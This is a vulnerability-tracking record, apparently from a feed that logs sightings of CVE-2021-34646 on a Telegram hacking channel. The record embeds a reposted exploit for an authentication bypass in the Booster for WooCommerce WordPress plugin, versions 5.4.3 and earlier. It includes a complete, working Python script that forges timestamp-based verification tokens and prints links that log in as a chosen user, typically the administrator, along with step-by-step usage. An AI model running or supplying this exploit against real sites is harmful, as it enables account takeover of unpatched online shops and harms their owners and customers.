{"uuid": "54e5d8cb-8675-449e-ac95-6076b1a9f840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out  out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:22.713503Z"}